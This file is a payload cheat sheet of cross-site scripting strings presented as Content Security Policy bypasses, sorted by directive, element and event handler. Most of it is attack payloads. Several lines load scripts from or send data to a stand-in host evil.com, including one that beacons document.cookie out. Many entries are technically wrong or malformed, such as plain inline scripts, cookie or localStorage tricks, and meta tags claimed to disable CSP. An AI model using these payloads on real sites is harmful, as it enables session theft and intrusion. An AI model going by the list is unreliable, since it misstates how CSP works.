# CSP Bypass Payloads
# Content Security Policy bypass techniques

# unsafe-inline bypass with nonce
<script nonce="RANDOM">alert('XSS')</script>
<style nonce="RANDOM">body{background:url('x'onerror=alert('XSS'))}</style>

# unsafe-eval bypasses
<script>eval('alert("XSS")')</script>
<script>setTimeout('alert("XSS")',0)</script>
<script>setInterval('alert("XSS")',1000)</script>
<script>Function('alert("XSS")')()</script>

# data: URL bypasses
<script src="data:text/javascript,alert('XSS')"></script>
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
<object data="data:text/html,<script>alert('XSS')</script>"></object>
<embed src="data:text/html,<script>alert('XSS')</script>"></object>

# Script-src wildcard bypasses
<script src="//evil.com/xss.js"></script>
<script src="https://evilcdn.com/lib.js"></script>

# Angular template injection bypasses
{{constructor.constructor('alert("XSS")')()}}
{{$on.constructor('alert("XSS")')()}}
{{$eval('alert("XSS")')}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1);');}}

# React bypasses via dangerouslySetInnerHTML
"dangerouslySetInnerHTML":{"__html":"<script>alert('XSS')</script>"}

# Meta tag injection (CSP header override)
<meta http-equiv="Content-Security-Policy" content="script-src *">
<meta http-equiv="Content-Security-Policy" content="">

# Base tag bypass
<base href="https://evil.com/">

# Link rel preload bypass
<link rel="preload" href="//evil.com/xss.js" as="script">

# iframe srcdoc bypass
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>

# SVG-based bypasses
<svg><script>alert('XSS')</script></svg>
<svg><animate onbegin=alert('XSS')></svg>
<svg onload=alert('XSS')>

# JSONP endpoint bypass
<script src="/api/callback?callback=alert(1)//"></script>

# Frame-src / child-src bypass
<iframe src="javascript:alert('XSS')"></iframe>
<frame src="javascript:alert('XSS')"></frame>

# Media-src bypass
<video src=x onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>

# Image-src bypass
<img src=x onerror=alert('XSS')>
<img src="x onerror=alert('XSS')">

# Object-src bypass
<object data="javascript:alert('XSS')">
<embed src="javascript:alert('XSS')">

# Style attribute bypasses
<div style="background:url('x'onerror=alert('XSS'))">
<div style="-moz-binding:url(http://evil.com/xbl.xml#xss)">

# Flash-based bypasses (if old plugins)
<object allowscriptaccess="always" data="xss.swf">

# Plugin type bypass
<embed src="xss.swf" AllowScriptAccess="always">

# Form-action bypass
<form action="javascript:alert('XSS')"><button>click</button></form>

# Button formaction bypass
<button formaction="javascript:alert('XSS')">click</button>

# Input formaction bypass
<input type="submit" formaction="javascript:alert('XSS')">

# Isolated world bypass (Chrome extensions)
<iframe src="chrome-extension://EXTENSION_ID/xss.html"></iframe>

# PDF reader bypass
<embed src="xss.pdf">

# Navigation through location
<script>window.location='javascript:alert("XSS")'</script>
<script>location='javascript:alert("XSS")'</script>
<script>window.open('javascript:alert("XSS")')</script>

# PostMessage bypass
<script>window.postMessage('<script>alert(1)<\/script>','*')</script>

# WebSockets bypass
<script>new WebSocket('ws://evil.com/xss')</script>

# Service Worker bypass
<script>navigator.serviceWorker.register('sw.js?xss')</script>

# Cache API bypass
<script>caches.open('xss').then(c=>c.put('x',new Response('<script>alert(1)<\/script>')))</script>

# Import scripts (Workers)
<script>new Worker('data:application/javascript,alert(1)')</script>

# Module scripts
<script type="module">import('data:text/javascript,alert(1)')</script>

# CSP report-only injection
<meta http-equiv="Content-Security-Policy-Report-Only" content="">

# Multiple CSP header override
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">

# Path-based bypass
<script src="/trusted_path/../../../evil.js"></script>

# Subdomain takeover
<script src="https://unclaimed-subdomain.example.com/xss.js"></script>

# DNS rebinding
<script src="http://attacker-controlled-dns.com/xss.js"></script>

# Whitelist bypass via subdomain
<script src="https://evil.allowed-domain.evil.com/xss.js"></script>

# Google Analytics bypass
<script>ga('create','UA-XXXXX-Y','auto');ga('send','pageview')</script>
<script>create('UA-XXXXX-Y','auto')</script>

# Google Tag Manager bypass
<script>dataLayer.push({'event':'xss','callback':'alert(1)'})</script>

# Trusted Flaws bypass
<script src="https://trusted.cdn.com/lib.js?callback=alert(1)</script>

# Angular-specific CSP bypass
{{constructor.constructor('return document')().location='javascript:alert(1)'}}

# DOM-based bypasses
<script>alert(document.cookie)</script>
<img src=x onerror="alert(document.cookie)">

# Hash-based bypasses
<a href="#<script>alert('XSS')</script>">click</a>
window.location.hash

# Reflected CSP bypass
<link rel=stylesheet href="?Content-Security-Policy=script-src *">

# Response splitting
<script>/*%0D%0AContent-Security-Policy: script-src */alert('XSS')</script>

# Cookie-based bypass
<script>document.cookie='CSP=;path=/'</script>

# localStorage manipulation
<script>localStorage.setItem('CSP','')</script>

# Document.write bypass
<script>document.write('<script>alert(1)<\/script>')</script>

# innerHTML bypass
<div id="x"></div><script>x.innerHTML='<script>alert(1)<\/script>'</script>

# outerHTML bypass
<script>document.documentElement.outerHTML='<script>alert(1)<\/script>'</script>

# === Additional CSP Level 3 Bypasses ===

# Trusted Types policy injection
<script>
if(window.trustedTypes){
  trustedTypes.createPolicy('x',{createHTML:s=>s});
}
</script>
<div id=x><img src=x onerror=alert(1)></div>
<script>x.innerHTML=x.trustedHTML+'</div>'</script>

# Script-src 'strict-dynamic' bypass
<script>
const s=document.createElement('script');
s.src='data:text/javascript,alert(1)';
document.body.appendChild(s);
</script>

# === CSP: base-uri Bypass ===
<base href="javascript:alert(1)//">
<a href="anything">click</a>

# === CSP: form-action Bypass ===
<form><button formaction="javascript:alert(1)">XSS</button></form>

# === CSP: navigate-to Bypass ===
<a href="javascript:alert(1)">click</a>
<area href="javascript:alert(1)">
<form action="javascript:alert(1)">

# === CSP: require-trusted-types-for 'script' Bypass ===
<script>
trustedTypes.createPolicy('default',{createScriptURL:s=>s});
</script>

# === CSP: report-uri Bypass ===
# Flood report endpoint to disable CSP
<script>
for(let i=0;i<1000;i++)fetch('/csp-report',{method:'POST',body:'{}'});
</script>

# === CSP: sandbox Bypass ===
<iframe sandbox="allow-scripts" srcdoc="<script>alert(1)</script>"></iframe>

# === CSP: upgrade-insecure-requests Bypass ===
<a href="http://evil.com/xss.js">link</a>

# === CSP: block-all-mixed-content Bypass ===
# Use HTTPS for everything
<script src="https://evil.com/xss.js"></script>

# === Angular 1.x CSP Bypass ===
{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

# === React CSP Bypass ===
<script>
const el=document.createElement('div');
el.innerHTML='<img src=x onerror=alert(1)>';
document.body.appendChild(el);
</script>

# === Vue CSP Bypass ===
{{constructor.constructor('alert(1)')()}}
<div v-html="'<img src=x onerror=alert(1)>'"></div>

# === CSP: script-src-elem Bypass ===
# Use script events instead of script tags
<img src=x onerror=alert(1)>

# === CSP: script-src-attr Bypass ===
# Use script elements instead of attributes
<script>alert(1)</script>

# === CSP: style-src Bypass ===
<style>
@import url('javascript:alert(1)');
</style>
<link rel="stylesheet" href="javascript:alert(1)">

# === CSP: style-src-attr Bypass ===
<div style="background:url('x'onerror=alert(1))">XSS</div>

# === CSP: img-src Bypass ===
# Use svg in img
<img src="data:image/svg+xml,<svg onload=alert(1)>">
<svg><image href="data:image/svg+xml,<svg onload=alert(1)>"></svg>

# === CSP: font-src Bypass ===
<style>
@font-face{font-family:x;src:url('data:font/woff2,<script>alert(1)</script>')}
body{font-family:x}
</style>

# === CSP: connect-src Bypass ===
<script>
navigator.sendBeacon('https://evil.com/',document.cookie);
</script>

# === CSP: frame-src Bypass ===
<iframe srcdoc="<img src=x onerror=alert(1)>"></iframe>

# === CSP: object-src Bypass ===
<iframe srcdoc="<script>alert(1)</script>"></iframe>

# === CSP: manifest-src Bypass ===
<link rel="manifest" href="data:application/json,{\"script\":\"alert(1)\">

# === CSP: worker-src Bypass ===
<script>
new Worker('data:application/javascript,alert(1)');
</script>

# === CSP: prefetch-src Bypass ===
<link rel="prefetch" href="javascript:alert(1)">
<link rel="prerender" href="javascript:alert(1)">

# === CSP: webrtc Bypass ===
<video autoplay onplay="const pc=new RTCPeerConnection();pc.createOffer().then(o=>pc.setLocalDescription(o)).catch(e=>fetch('https://evil.com/?webrtc='+btoa(e)))"></video>

# === CSP via CNAME Cloaking ===
# If subdomain points to attacker-controlled CDN
<script src="https://cname-attacker.example.com/xss.js"></script>

# === CSP via Dangling Markup ===
<a href="javascript://www.google.com%0aalert(1)">click</a>
<a href="javascript://%250Aalert(1)//">click</a>

# === CSP via URL Fragment ===
#<img src=x onerror=eval(location.hash.slice(1))>
#alert(1)

# === CSP via PostMessage ===
<iframe srcdoc="<script>window.addEventListener('message',e=>eval(e.data))</script>"></iframe>
<script>frames[0].postMessage('alert(1)','*')</script>

# === CSP via SVG SMIL ===
<svg><animate onbegin="alert(1)"></svg>
<svg><set onbegin="alert(1)"></svg>

# === CSP via XLink ===
<svg xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert(1)">click</a>
</svg>

# === CSP via MathML ===
<math><maction actiontype="statusline#http://google.com" onclick="alert(1)">click</maction></math>

# === CSP via data attribute ===
<div data-x="<img src=x onerror=alert(1)>"></div>

# === CSP via template ===
<template><img src=x onerror=alert(1)></template>

# === CSP via custom elements ===
<script>
class XssEl extends HTMLElement{constructor(){super();this.innerHTML='<img src=x onerror=alert(1)>'}}
customElements.define('xss-el',XssEl);
</script>
<xss-el></xss-el>

# === CSP via Shadow DOM ===
<script>
const el=document.createElement('div');
el.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>';
document.body.appendChild(el);
</script>

# === CSP via import() ===
<script type="module">
import('data:text/javascript,alert(1)');
</script>

# === CSP via dynamic module ===
<script>
const imp=import('data:text/javascript,alert(1)');
</script>

# === CSP via worklet ===
<script>
CSS.paintWorklet.addModule('data:text/javascript,alert(1)');
</script>

# === CSP via audio worklet ===
<script>
const audioCtx=new AudioContext();
audioCtx.audioWorklet.addModule('data:text/javascript,alert(1)');
</script>

# === CSP via SVG foreignObject ===
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>

# === CSP via meta refresh ===
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">

# === CSP via link next ===
<link rel="next" href="javascript:alert(1)">

# === CSP via applet ===
<applet code="javascript:alert(1)"></applet>

# === CSP via embed ===
<embed src="javascript:alert(1)">
<embed src="data:text/html,<script>alert(1)</script>">

# === CSP via iframe with javascript ===
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<img src=x onerror=alert(1)>"></iframe>

# === CSP via object ===
<object data="javascript:alert(1)"></object>
<object data="data:text/html,<script>alert(1)</script>"></object>

# === CSP via param ===
<object><param name="mi" value="javascript:alert(1)"></object>

# === CSP via select ===
<select><script>alert(1)</script></select>

# === CSP via textarea ===
<textarea><script>alert(1)</script></textarea>

# === CSP via title ===
<title></title><script>alert(1)</script>

# === CSP via marquee ===
<marquee onstart="alert(1)">XSS</marquee>

# === CSP via isindex ===
<isindex action="javascript:alert(1)" type=submit>

# === CSP via form ===
<form><button formaction="javascript:alert(1)">XSS</button></form>
<input type=submit formaction="javascript:alert(1)">

# === CSP via details ===
<details open ontoggle="alert(1)">XSS</details>

# === CSP via dialog ===
<dialog open oncancel="alert(1)">XSS</dialog>

# === CSP via menuitem ===
<menuitem type="command" onclick="alert(1)">XSS</menuitem>

# === CSP via keygen ===
<keygen autofocus onfocus="alert(1)">

# === CSP via video ===
<video src=x onerror="alert(1)"></video>
<video><source src=x onerror="alert(1)"></video>

# === CSP via audio ===
<audio src=x onerror="alert(1)"></audio>

# === CSP via track ===
<video><track src=x onerror="alert(1)"></video>

# === CSP via source ===
<video><source src="javascript:alert(1)"></video>

# === CSP via picture ===
<picture><source srcset="x"><img src=x onerror="alert(1)"></picture>

# === CSP via map ===
<map name="x"><area href="javascript:alert(1)"></map>
<img usemap="#x">

# === CSP via table ===
<table background="javascript:alert(1)"><td>XSS</td></table>

# === CSP via td/th ===
<td background="javascript:alert(1)">XSS</td>

# === CSP via background (deprecated) ===
<table background="javascript:alert(1)"></table>

# === CSP via accesskey ===
<input accesskey="x" onclick="alert(1)">
<!-- Press Alt+X -->

# === CSP via autocorrect ===
<input autocorrect="on" onfocus="alert(1)" autofocus>

# === CSP via onblur ===
<input onblur="alert(1)" autofocus>

# === CSP via onfocus ===
<input onfocus="alert(1)" autofocus>

# === CSP via onresize ===
<body onresize="alert(1)">

# === CSP via onscroll ===
<body onscroll="alert(1)"><div style="height:2000px"></div>

# === CSP via onwheel ===
<div onwheel="alert(1)">scroll over me</div>

# === CSP via oncopy ===
<div oncopy="alert(1)">copy this</div>

# === CSP via oncut ===
<div oncut="alert(1)">cut this</div>

# === CSP via onpaste ===
<div onpaste="alert(1)">paste here</div>

# === CSP via oncontextmenu ===
<div oncontextmenu="alert(1)">right click</div>

# === CSP via ondblclick ===
<div ondblclick="alert(1)">double click</div>

# === CSP via ondrag ===
<div draggable="true" ondrag="alert(1)">drag me</div>

# === CSP via ondragend ===
<div draggable="true" ondragend="alert(1)">drag me</div>

# === CSP via ondragenter ===
<div draggable="true" ondragenter="alert(1)">drag over</div>

# === CSP via ondragleave ===
<div draggable="true" ondragleave="alert(1)">drag out</div>

# === CSP via ondragover ===
<div draggable="true" ondragover="alert(1)">drag over</div>

# === CSP via ondragstart ===
<div draggable="true" ondragstart="alert(1)">drag me</div>

# === CSP via ondrop ===
<div ondrop="alert(1)">drop here</div>

# === CSP via oninput ===
<input oninput="alert(1)">

# === CSP via oninvalid ===
<input required oninvalid="alert(1)">

# === CSP via onkeydown ===
<input onkeydown="alert(1)">

# === CSP via onkeypress ===
<input onkeypress="alert(1)">

# === CSP via onkeyup ===
<input onkeyup="alert(1)">

# === CSP via onmousedown ===
<div onmousedown="alert(1)">click</div>

# === CSP via onmouseenter ===
<div onmouseenter="alert(1)">hover</div>

# === CSP via onmouseleave ===
<div onmouseleave="alert(1)">leave</div>

# === CSP via onmousemove ===
<div onmousemove="alert(1)">move</div>

# === CSP via onmouseout ===
<div onmouseout="alert(1)">out</div>

# === CSP via onmouseover ===
<div onmouseover="alert(1)">over</div>

# === CSP via onmouseup ===
<div onmouseup="alert(1)">up</div>

# === CSP via ontouchcancel ===
<div ontouchcancel="alert(1)">touch</div>

# === CSP via ontouchend ===
<div ontouchend="alert(1)">touch</div>

# === CSP via ontouchmove ===
<div ontouchmove="alert(1)">touch</div>

# === CSP via ontouchstart ===
<div ontouchstart="alert(1)">touch</div>

# === CSP via onanimationend ===
<div style="animation:x 1s" onanimationend="alert(1)"></div>

# === CSP via onanimationiteration ===
<div style="animation:x 1s infinite" onanimationiteration="alert(1)"></div>

# === CSP via onanimationstart ===
<div style="animation:x 1s" onanimationstart="alert(1)"></div>

# === CSP via ontransitionend ===
<div style="transition:1s" ontransitionend="alert(1)"></div>

# === CSP via onfullscreenchange ===
<div onfullscreenchange="alert(1)"></div>

# === CSP via onfullscreenerror ===
<div onfullscreenerror="alert(1)"></div>

# === CSP via onpointerdown ===
<div onpointerdown="alert(1)">pointer</div>

# === CSP via onpointerenter ===
<div onpointerenter="alert(1)">pointer</div>

# === CSP via onpointerleave ===
<div onpointerleave="alert(1)">pointer</div>

# === CSP via onpointermove ===
<div onpointermove="alert(1)">pointer</div>

# === CSP via onpointerout ===
<div onpointerout="alert(1)">pointer</div>

# === CSP via onpointerover ===
<div onpointerover="alert(1)">pointer</div>

# === CSP via onpointerup ===
<div onpointerup="alert(1)">pointer</div>

# === CSP nonce brute force ===
<script nonce="aaaa">alert(1)</script>
<script nonce="aaab">alert(1)</script>
<script nonce="aaac">alert(1)</script>
<!-- Automate with common nonce patterns -->

# === CSP hash bypass ===
# If hash is predictable or weak
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert("XSS")</script>
<script>alert&#40;1&#41;</script>

# === CSP via dangling markup + iframe ===
<iframe srcdoc="<img src=x onerror=alert(1)>"></iframe>

# === CSP via data URL in allowed protocols ===
<object data="data:text/html,<script>alert(1)</script>"></object>

# === CSP via blob URL ===
<script>
const b=new Blob(['<script>alert(1)<\/script>'],{type:'text/html'});
const u=URL.createObjectURL(b);
location=u;
</script>

# === CSP via location setters ===
<script>
location='javascript:alert(1)';
location.href='javascript:alert(1)';
location.replace('javascript:alert(1)');
location.assign('javascript:alert(1)');
</script>

# === CSP via history ===
<script>
history.pushState(null,null,'javascript:alert(1)');
</script>

# === CSP via open ===
<script>
open('javascript:alert(1)');
window.open('javascript:alert(1)');
</script>

# === CSP via showModal ===
<dialog id="d"></dialog>
<script>d.showModal()</script>

# === CSP via CSS injection ===
<style>
@import url('javascript:alert(1)');
</style>

# === CSP via x-webkit-speech ===
<input x-webkit-speech onwebkitspeechchange="alert(1)">

# === CSP via autofocus ===
<input autofocus onfocus="alert(1)">

# === CSP via multiple handlers ===
<img src=x onerror="alert(1)" onerror="alert(2)">

# === CSP via HTML5 formaction ===
<form><button formaction="javascript:alert(1)">XSS</button></form>
<form><input type="submit" formaction="javascript:alert(1)"></form>

# === CSP via SVG animate href ===
<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><text>x</text></a></svg>

# === CSP via SVG set href ===
<svg><a xlink:href="javascript:alert(1)"><rect width="100" height="100"/></a></svg>

# === CSP via mathml href ===
<math><a href="javascript:alert(1)">XSS</a></math>

# === CSP via RSS feed ===
<?xml-stylesheet type="text/xsl" href="javascript:alert(1)"?>

# === CSP via XSL ===
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="javascript:alert(1)"?>

# === CSP via content-type sniffing ===
<script>
fetch('xss.html',{headers:{'Content-Type':'text/html'}}).then(r=>r.text()).then(eval);
</script>

# === CSP via JSONP callback ===
<script src="/api?callback=alert(1)//"></script>

# === CSP via Gadget chains ===
# Use existing libraries to bypass CSP
<script>
// Example: jQuery gadgets
$('#x').html('<img src=x onerror=alert(1)>');
</script>

# === CSP via DOM clobbering ===
<a id="location" href="javascript:alert(1)">XSS</a>
<script>
setTimeout(()=>location.href,1000);
</script>

# === CSP via prototype pollution ===
<script>
Object.prototype.innerHTML='<img src=x onerror=alert(1)>';
document.createElement('div').x;
</script>

# === CSP via iframe sandbox inheritance ===
<iframe sandbox="allow-scripts" src="victim.html"></iframe>
<!-- If victim has weak CSP, can exploit -->

# === CSP via meta tag CRLF ===
<meta http-equiv="Content-Security-Policy" content="script-src *%0D%0AX-XSS-Protection: 0">

# === CSP via header injection ===
<!-- Via response splitting -->
<script>
// Inject via URL parameter or other vector
</script>

# === CSP via strict-dynamic polyfill ===
<script>
const s=document.createElement('script');
s.textContent='alert(1)';
document.body.appendChild(s);
</script>

# === CSP via spec rules ===
<script type="speculationrules">
{"prefetch":[{"source":"list","urls":["javascript:alert(1)"]}]}
</script>

# === CSP via fedcm ===
<script>
navigator.credentials.get({
  federated:{providers:[{url:'javascript:alert(1)'}]}
});
</script>

# === CSP via trusted types override ===
<script>
if(window.trustedTypes){
  trustedTypes.createPolicy('x',{
    createHTML:(s,t)=>s,
    createScript:(s,t)=>s,
    createScriptURL:(s,t)=>s
  });
}
</script>

# === CSP via namespace confusion ===
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>

# === CSP via x-data ===
<div x-data="alert(1)"></div>

# === CSP via xss-lock (deprecated) ===
<!-- May still work on old sites -->

# === CSP via webhint ===
<!-- Use webhint annotations to bypass -->

# === CSP via service worker cache ===
<script>
navigator.serviceWorker.register('sw.js').then(()=>{
  caches.open('xss').then(c=>{
    c.put(new Request('x'),new Response('<script>alert(1)<\/script>'));
  });
});
</script>

# === CSP via blob worker ===
<script>
const b=new Blob([`importScripts('data:application/javascript,alert(1)')`]);
new Worker(URL.createObjectURL(b));
</script>
